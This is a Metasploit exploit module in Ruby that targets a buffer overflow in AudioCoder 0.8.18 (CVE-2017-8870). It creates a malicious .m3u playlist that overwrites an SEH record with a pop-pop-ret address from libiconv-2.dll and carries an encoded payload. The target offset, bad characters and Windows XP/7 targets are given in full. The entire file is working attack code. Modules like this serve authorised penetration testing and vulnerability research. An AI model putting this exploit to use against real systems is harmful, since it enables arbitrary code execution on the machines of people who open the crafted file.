##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AudioCoder .M3U Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in AudioCoder 0.8.18. The vulnerability
        occurs when adding an .m3u, allowing arbitrary code execution with the privileges
        of the user running AudioCoder. This module has been tested successfully on
        AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'metacom', # Vulnerability discovery and PoC
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2017-8870' ],
          [ 'OSVDB', '92939' ],
          [ 'EDB', '25141' ]
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'           => 6596,
          'BadChars'        => "\x00\x5c\x40\x0d\x0a",
          'DisableNops'     => true,
          'StackAdjustment' => -3500,
        },
      'Targets'        =>
        [
          [ 'AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1',
            {
              'Ret'     => 0x66011b56, # ppr from libiconv-2.dll
              'Offset'  => 765
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2013-05-01',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
      ])

  end

  def exploit
    buffer = "http://"
    buffer << rand_text(target['Offset'])
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded

    file_create(buffer)
  end
end
